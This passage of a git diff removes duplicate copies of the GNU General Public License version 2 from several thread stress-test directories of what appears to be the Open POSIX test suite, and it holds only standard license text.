-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_cond_init/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
-  To do so, attach the following notices to the program.  It is safest
-to attach them to the start of each source file to most effectively
-convey the exclusion of warranty; and each file should have at least
-the "copyright" line and a pointer to where the full notice is found.
-
-    <one line to give the program's name and a brief idea of what it does.>
-    Copyright (C) <year>  <name of author>
-
-    This program is free software; you can redistribute it and/or modify
-    it under the terms of the GNU General Public License as published by
-    the Free Software Foundation; either version 2 of the License, or
-    (at your option) any later version.
-
-    This program is distributed in the hope that it will be useful,
-    but WITHOUT ANY WARRANTY; without even the implied warranty of
-    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-    GNU General Public License for more details.
-
-    You should have received a copy of the GNU General Public License
-    along with this program; if not, write to the Free Software
-    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
-
-
-Also add information on how to contact you by electronic and paper mail.
-
-If the program is interactive, make it output a short notice like this
-when it starts in an interactive mode:
-
-    Gnomovision version 69, Copyright (C) year  name of author
-    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
-    This is free software, and you are welcome to redistribute it
-    under certain conditions; type `show c' for details.
-
-The hypothetical commands `show w' and `show c' should show the appropriate
-parts of the General Public License.  Of course, the commands you use may
-be called something other than `show w' and `show c'; they could even be
-mouse-clicks or menu items--whatever suits your program.
-
-You should also get your employer (if you work as a programmer) or your
-school, if any, to sign a "copyright disclaimer" for the program, if
-necessary.  Here is a sample; alter the names:
-
-  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
-  `Gnomovision' (which makes passes at compilers) written by James Hacker.
-
-  <signature of Ty Coon>, 1 April 1989
-  Ty Coon, President of Vice
-
-This General Public License does not permit incorporating your program into
-proprietary programs.  If your program is a subroutine library, you may
-consider it more useful to permit linking proprietary applications with the
-library.  If this is what you want to do, use the GNU Library General
-Public License instead of this License.
diff --git a/testcases/open_posix_testsuite/stress/threads/pthread_create/LICENCE b/testcases/open_posix_testsuite/stress/threads/pthread_create/LICENCE
deleted file mode 100644
index d60c31a..0000000
--- a/testcases/open_posix_testsuite/stress/threads/pthread_create/LICENCE
+++ /dev/null
@@ -1,340 +0,0 @@
-		    GNU GENERAL PUBLIC LICENSE
-		       Version 2, June 1991
-
- Copyright (C) 1989, 1991 Free Software Foundation, Inc.
-     59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-			    Preamble
-
-  The licenses for most software are designed to take away your
-freedom to share and change it.  By contrast, the GNU General Public
-License is intended to guarantee your freedom to share and change free
-software--to make sure the software is free for all its users.  This
-General Public License applies to most of the Free Software
-Foundation's software and to any other program whose authors commit to
-using it.  (Some other Free Software Foundation software is covered by
-the GNU Library General Public License instead.)  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-this service if you wish), that you receive source code or can get it
-if you want it, that you can change the software or use pieces of it
-in new free programs; and that you know you can do these things.
-
-  To protect your rights, we need to make restrictions that forbid
-anyone to deny you these rights or to ask you to surrender the rights.
-These restrictions translate to certain responsibilities for you if you
-distribute copies of the software, or if you modify it.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must give the recipients all the rights that
-you have.  You must make sure that they, too, receive or can get the
-source code.  And you must show them these terms so they know their
-rights.
-
-  We protect your rights with two steps: (1) copyright the software, and
-(2) offer you this license which gives you legal permission to copy,
-distribute and/or modify the software.
-
-  Also, for each author's protection and ours, we want to make certain
-that everyone understands that there is no warranty for this free
-software.  If the software is modified by someone else and passed on, we
-want its recipients to know that what they have is not the original, so
-that any problems introduced by others will not reflect on the original
-authors' reputations.
-
-  Finally, any free program is threatened constantly by software
-patents.  We wish to avoid the danger that redistributors of a free
-program will individually obtain patent licenses, in effect making the
-program proprietary.  To prevent this, we have made it clear that any
-patent must be licensed for everyone's free use or not licensed at all.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-		    GNU GENERAL PUBLIC LICENSE
-   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
-
-  0. This License applies to any program or other work which contains
-a notice placed by the copyright holder saying it may be distributed
-under the terms of this General Public License.  The "Program", below,
-refers to any such program or work, and a "work based on the Program"
-means either the Program or any derivative work under copyright law:
-that is to say, a work containing the Program or a portion of it,
-either verbatim or with modifications and/or translated into another
-language.  (Hereinafter, translation is included without limitation in
-the term "modification".)  Each licensee is addressed as "you".
-
-Activities other than copying, distribution and modification are not
-covered by this License; they are outside its scope.  The act of
-running the Program is not restricted, and the output from the Program
-is covered only if its contents constitute a work based on the
-Program (independent of having been made by running the Program).
-Whether that is true depends on what the Program does.
-
-  1. You may copy and distribute verbatim copies of the Program's
-source code as you receive it, in any medium, provided that you
-conspicuously and appropriately publish on each copy an appropriate
-copyright notice and disclaimer of warranty; keep intact all the
-notices that refer to this License and to the absence of any warranty;
-and give any other recipients of the Program a copy of this License
-along with the Program.
-
-You may charge a fee for the physical act of transferring a copy, and
-you may at your option offer warranty protection in exchange for a fee.
-
-  2. You may modify your copy or copies of the Program or any portion
-of it, thus forming a work based on the Program, and copy and
-distribute such modifications or work under the terms of Section 1
-above, provided that you also meet all of these conditions:
-
-    a) You must cause the modified files to carry prominent notices
-    stating that you changed the files and the date of any change.
-
-    b) You must cause any work that you distribute or publish, that in
-    whole or in part contains or is derived from the Program or any
-    part thereof, to be licensed as a whole at no charge to all third
-    parties under the terms of this License.
-
-    c) If the modified program normally reads commands interactively
-    when run, you must cause it, when started running for such
-    interactive use in the most ordinary way, to print or display an
-    announcement including an appropriate copyright notice and a
-    notice that there is no warranty (or else, saying that you provide
-    a warranty) and that users may redistribute the program under
-    these conditions, and telling the user how to view a copy of this
-    License.  (Exception: if the Program itself is interactive but
-    does not normally print such an announcement, your work based on
-    the Program is not required to print an announcement.)
-
-These requirements apply to the modified work as a whole.  If
-identifiable sections of that work are not derived from the Program,
-and can be reasonably considered independent and separate works in
-themselves, then this License, and its terms, do not apply to those
-sections when you distribute them as separate works.  But when you
-distribute the same sections as part of a whole which is a work based
-on the Program, the distribution of the whole must be on the terms of
-this License, whose permissions for other licensees extend to the
-entire whole, and thus to each and every part regardless of who wrote it.
-
-Thus, it is not the intent of this section to claim rights or contest
-your rights to work written entirely by you; rather, the intent is to
-exercise the right to control the distribution of derivative or
-collective works based on the Program.
-
-In addition, mere aggregation of another work not based on the Program
-with the Program (or with a work based on the Program) on a volume of
-a storage or distribution medium does not bring the other work under
-the scope of this License.
-
-  3. You may copy and distribute the Program (or a work based on it,
-under Section 2) in object code or executable form under the terms of
-Sections 1 and 2 above provided that you also do one of the following:
-
-    a) Accompany it with the complete corresponding machine-readable
-    source code, which must be distributed under the terms of Sections
-    1 and 2 above on a medium customarily used for software interchange; or,
-
-    b) Accompany it with a written offer, valid for at least three
-    years, to give any third party, for a charge no more than your
-    cost of physically performing source distribution, a complete
-    machine-readable copy of the corresponding source code, to be
-    distributed under the terms of Sections 1 and 2 above on a medium
-    customarily used for software interchange; or,
-
-    c) Accompany it with the information you received as to the offer
-    to distribute corresponding source code.  (This alternative is
-    allowed only for noncommercial distribution and only if you
-    received the program in object code or executable form with such
-    an offer, in accord with Subsection b above.)
-
-The source code for a work means the preferred form of the work for
-making modifications to it.  For an executable work, complete source
-code means all the source code for all modules it contains, plus any
-associated interface definition files, plus the scripts used to
-control compilation and installation of the executable.  However, as a
-special exception, the source code distributed need not include
-anything that is normally distributed (in either source or binary
-form) with the major components (compiler, kernel, and so on) of the
-operating system on which the executable runs, unless that component
-itself accompanies the executable.
-
-If distribution of executable or object code is made by offering
-access to copy from a designated place, then offering equivalent
-access to copy the source code from the same place counts as
-distribution of the source code, even though third parties are not
-compelled to copy the source along with the object code.
-
-  4. You may not copy, modify, sublicense, or distribute the Program
-except as expressly provided under this License.  Any attempt
-otherwise to copy, modify, sublicense or distribute the Program is
-void, and will automatically terminate your rights under this License.
-However, parties who have received copies, or rights, from you under
-this License will not have their licenses terminated so long as such
-parties remain in full compliance.
-
-  5. You are not required to accept this License, since you have not
-signed it.  However, nothing else grants you permission to modify or
-distribute the Program or its derivative works.  These actions are
-prohibited by law if you do not accept this License.  Therefore, by
-modifying or distributing the Program (or any work based on the
-Program), you indicate your acceptance of this License to do so, and
-all its terms and conditions for copying, distributing or modifying
-the Program or works based on it.
-
-  6. Each time you redistribute the Program (or any work based on the
-Program), the recipient automatically receives a license from the
-original licensor to copy, distribute or modify the Program subject to
-these terms and conditions.  You may not impose any further
-restrictions on the recipients' exercise of the rights granted herein.
-You are not responsible for enforcing compliance by third parties to
-this License.
-
-  7. If, as a consequence of a court judgment or allegation of patent
-infringement or for any other reason (not limited to patent issues),
-conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot
-distribute so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you
-may not distribute the Program at all.  For example, if a patent
-license would not permit royalty-free redistribution of the Program by
-all those who receive copies directly or indirectly through you, then
-the only way you could satisfy both it and this License would be to
-refrain entirely from distribution of the Program.
-
-If any portion of this section is held invalid or unenforceable under
-any particular circumstance, the balance of the section is intended to
-apply and the section as a whole is intended to apply in other
-circumstances.
-
-It is not the purpose of this section to induce you to infringe any
-patents or other property right claims or to contest validity of any
-such claims; this section has the sole purpose of protecting the
-integrity of the free software distribution system, which is
-implemented by public license practices.  Many people have made
-generous contributions to the wide range of software distributed
-through that system in reliance on consistent application of that
-system; it is up to the author/donor to decide if he or she is willing
-to distribute software through any other system and a licensee cannot
-impose that choice.
-
-This section is intended to make thoroughly clear what is believed to
-be a consequence of the rest of this License.
-
-  8. If the distribution and/or use of the Program is restricted in
-certain countries either by patents or by copyrighted interfaces, the
-original copyright holder who places the Program under this License
-may add an explicit geographical distribution limitation excluding
-those countries, so that distribution is permitted only in or among
-countries not thus excluded.  In such case, this License incorporates
-the limitation as if written in the body of this License.
-
-  9. The Free Software Foundation may publish revised and/or new versions
-of the General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-Each version is given a distinguishing version number.  If the Program
-specifies a version number of this License which applies to it and "any
-later version", you have the option of following the terms and conditions
-either of that version or of any later version published by the Free
-Software Foundation.  If the Program does not specify a version number of
-this License, you may choose any version ever published by the Free Software
-Foundation.
-
-  10. If you wish to incorporate parts of the Program into other free
-programs whose distribution conditions are different, write to the author
-to ask for permission.  For software which is copyrighted by the Free
-Software Foundation, write to the Free Software Foundation; we sometimes
-make exceptions for this.  Our decision will be guided by the two goals
-of preserving the free status of all derivatives of our free software and
-of promoting the sharing and reuse of software generally.
-
-			    NO WARRANTY
-
-  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
-FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
-OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
-PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
-OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
-MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
-TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
-PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
-REPAIR OR CORRECTION.
-
-  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
-REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
-INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
-OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
-TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
-YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
-PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGES.
-
-		     END OF TERMS AND CONDITIONS
-
-	    How to Apply These Terms to Your New Programs
-
-  If you develop a new program, and you want it to be of the greatest
-possible use to the public, the best way to achieve this is to make it
-free software which everyone can redistribute and change under these terms.
-
